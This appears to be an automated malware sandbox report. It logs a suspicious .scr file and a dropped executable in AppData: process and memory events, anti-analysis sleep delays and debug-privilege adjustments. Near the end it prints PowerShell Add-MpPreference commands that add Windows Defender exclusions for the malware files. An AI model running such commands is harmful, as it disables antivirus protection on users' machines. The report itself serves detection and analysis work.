Source: C:\Users\user\AppData\Roaming\swagodi78811.scr	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\swagodi78811.scr	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\swagodi78811.scr	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\swagodi78811.scr	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\swagodi78811.scr	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\swagodi78811.scr	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\swagodi78811.scr	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\swagodi78811.scr	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\swagodi78811.scr	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\swagodi78811.scr	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\swagodi78811.scr	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\swagodi78811.scr	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\swagodi78811.scr	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\swagodi78811.scr	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\swagodi78811.scr	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\swagodi78811.scr	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\swagodi78811.scr	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\swagodi78811.scr	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\swagodi78811.scr	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\swagodi78811.scr	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\swagodi78811.scr	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\swagodi78811.scr	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\swagodi78811.scr	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\swagodi78811.scr	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\swagodi78811.scr	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\swagodi78811.scr	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\swagodi78811.scr	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\swagodi78811.scr	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\swagodi78811.scr	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\swagodi78811.scr	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\swagodi78811.scr	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\swagodi78811.scr	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\swagodi78811.scr	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\swagodi78811.scr	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\swagodi78811.scr	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\swagodi78811.scr	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\swagodi78811.scr	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\swagodi78811.scr	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\swagodi78811.scr	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\swagodi78811.scr	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\swagodi78811.scr	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\swagodi78811.scr	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\swagodi78811.scr	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\swagodi78811.scr	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\taskeng.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\taskeng.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\taskeng.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\taskeng.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\gRpkBp.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\gRpkBp.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\gRpkBp.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\gRpkBp.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\gRpkBp.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\gRpkBp.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\gRpkBp.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\gRpkBp.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\gRpkBp.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\gRpkBp.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\gRpkBp.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\gRpkBp.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\gRpkBp.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\gRpkBp.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\gRpkBp.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\gRpkBp.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\gRpkBp.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\gRpkBp.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\gRpkBp.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\gRpkBp.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\gRpkBp.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\gRpkBp.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\gRpkBp.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\gRpkBp.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\gRpkBp.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\gRpkBp.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\gRpkBp.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\gRpkBp.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\gRpkBp.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\gRpkBp.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\gRpkBp.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\gRpkBp.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\gRpkBp.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\gRpkBp.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\gRpkBp.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\gRpkBp.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\gRpkBp.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\gRpkBp.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\gRpkBp.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\gRpkBp.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\gRpkBp.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\gRpkBp.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\gRpkBp.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\gRpkBp.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\gRpkBp.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\gRpkBp.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\gRpkBp.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\gRpkBp.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\gRpkBp.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\gRpkBp.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\gRpkBp.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\gRpkBp.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\gRpkBp.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\gRpkBp.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\gRpkBp.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\gRpkBp.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\gRpkBp.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\gRpkBp.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX

Source: C:\Users\user\AppData\Roaming\swagodi78811.scr	Memory allocated: 280000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Roaming\swagodi78811.scr	Memory allocated: 2100000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Roaming\swagodi78811.scr	Memory allocated: 3C0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Roaming\swagodi78811.scr	Memory allocated: 5F80000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Roaming\swagodi78811.scr	Memory allocated: 6F80000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Roaming\swagodi78811.scr	Memory allocated: 71F0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Roaming\swagodi78811.scr	Memory allocated: 81F0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Roaming\swagodi78811.scr	Memory allocated: 200000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Roaming\swagodi78811.scr	Memory allocated: 23F0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Roaming\swagodi78811.scr	Memory allocated: 450000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Roaming\gRpkBp.exe	Memory allocated: 250000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Roaming\gRpkBp.exe	Memory allocated: 21C0000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Roaming\gRpkBp.exe	Memory allocated: 530000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Roaming\gRpkBp.exe	Memory allocated: 5F90000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Roaming\gRpkBp.exe	Memory allocated: 6F90000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Roaming\gRpkBp.exe	Memory allocated: 7380000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Roaming\gRpkBp.exe	Memory allocated: 8380000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Roaming\gRpkBp.exe	Memory allocated: 200000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Roaming\gRpkBp.exe	Memory allocated: 22F0000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Roaming\gRpkBp.exe	Memory allocated: 450000 memory reserve \| memory write watch

Source: C:\Users\user\AppData\Roaming\swagodi78811.scr	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\AppData\Roaming\swagodi78811.scr	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\AppData\Roaming\swagodi78811.scr	Thread delayed: delay time: 600000	Jump to behavior
Source: C:\Users\user\AppData\Roaming\gRpkBp.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Roaming\gRpkBp.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Roaming\gRpkBp.exe	Thread delayed: delay time: 600000

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 1497	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 3203	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 2444	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 3048	Jump to behavior
Source: C:\Users\user\AppData\Roaming\swagodi78811.scr	Window / User API: threadDelayed 1270	Jump to behavior
Source: C:\Users\user\AppData\Roaming\swagodi78811.scr	Window / User API: threadDelayed 8516	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 2631
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 2087
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 2582
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 1909
Source: C:\Users\user\AppData\Roaming\gRpkBp.exe	Window / User API: threadDelayed 9024
Source: C:\Users\user\AppData\Roaming\gRpkBp.exe	Window / User API: threadDelayed 799

Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE TID: 3428	Thread sleep time: -360000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\swagodi78811.scr TID: 3788	Thread sleep time: -60000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\swagodi78811.scr TID: 3488	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 3800	Thread sleep time: -120000s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 3828	Thread sleep time: -2767011611056431s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 3816	Thread sleep time: -120000s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 3844	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 3760	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\swagodi78811.scr TID: 4028	Thread sleep time: -60000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\swagodi78811.scr TID: 3360	Thread sleep time: -7378697629483816s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\swagodi78811.scr TID: 3360	Thread sleep time: -3600000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\swagodi78811.scr TID: 3368	Thread sleep count: 1270 > 30	Jump to behavior
Source: C:\Users\user\AppData\Roaming\swagodi78811.scr TID: 3368	Thread sleep count: 8516 > 30	Jump to behavior
Source: C:\Windows\System32\taskeng.exe TID: 4008	Thread sleep time: -120000s >= -30000s
Source: C:\Users\user\AppData\Roaming\gRpkBp.exe TID: 3316	Thread sleep time: -60000s >= -30000s
Source: C:\Users\user\AppData\Roaming\gRpkBp.exe TID: 4044	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 3304	Thread sleep time: -120000s >= -30000s
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 3364	Thread sleep time: -2767011611056431s >= -30000s
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 3296	Thread sleep time: -60000s >= -30000s
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 3348	Thread sleep time: -1844674407370954s >= -30000s
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 3148	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Users\user\AppData\Roaming\gRpkBp.exe TID: 3420	Thread sleep time: -60000s >= -30000s
Source: C:\Users\user\AppData\Roaming\gRpkBp.exe TID: 3412	Thread sleep time: -12912720851596678s >= -30000s
Source: C:\Users\user\AppData\Roaming\gRpkBp.exe TID: 3412	Thread sleep time: -600000s >= -30000s
Source: C:\Users\user\AppData\Roaming\gRpkBp.exe TID: 3408	Thread sleep count: 9024 > 30
Source: C:\Users\user\AppData\Roaming\gRpkBp.exe TID: 3408	Thread sleep count: 799 > 30

Source: C:\Users\user\AppData\Roaming\swagodi78811.scr	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\AppData\Roaming\swagodi78811.scr	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\AppData\Roaming\swagodi78811.scr	Thread delayed: delay time: 600000	Jump to behavior
Source: C:\Users\user\AppData\Roaming\gRpkBp.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Roaming\gRpkBp.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Roaming\gRpkBp.exe	Thread delayed: delay time: 600000

Source: C:\Users\user\AppData\Roaming\swagodi78811.scr

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Users\user\AppData\Roaming\swagodi78811.scr	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Users\user\AppData\Roaming\swagodi78811.scr	Process token adjusted: Debug	Jump to behavior
Source: C:\Users\user\AppData\Roaming\gRpkBp.exe	Process token adjusted: Debug
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug
Source: C:\Users\user\AppData\Roaming\gRpkBp.exe	Process token adjusted: Debug

Source: C:\Users\user\AppData\Roaming\swagodi78811.scr

Memory allocated: page read and write | page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Adds a directory exclusion to Windows Defender

Source: C:\Users\user\AppData\Roaming\swagodi78811.scr	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Roaming\swagodi78811.scr"
Source: C:\Users\user\AppData\Roaming\swagodi78811.scr	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Roaming\gRpkBp.exe"
Source: C:\Users\user\AppData\Roaming\gRpkBp.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Roaming\gRpkBp.exe"
Source: C:\Users\user\AppData\Roaming\gRpkBp.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Roaming\gRpkBp.exe"
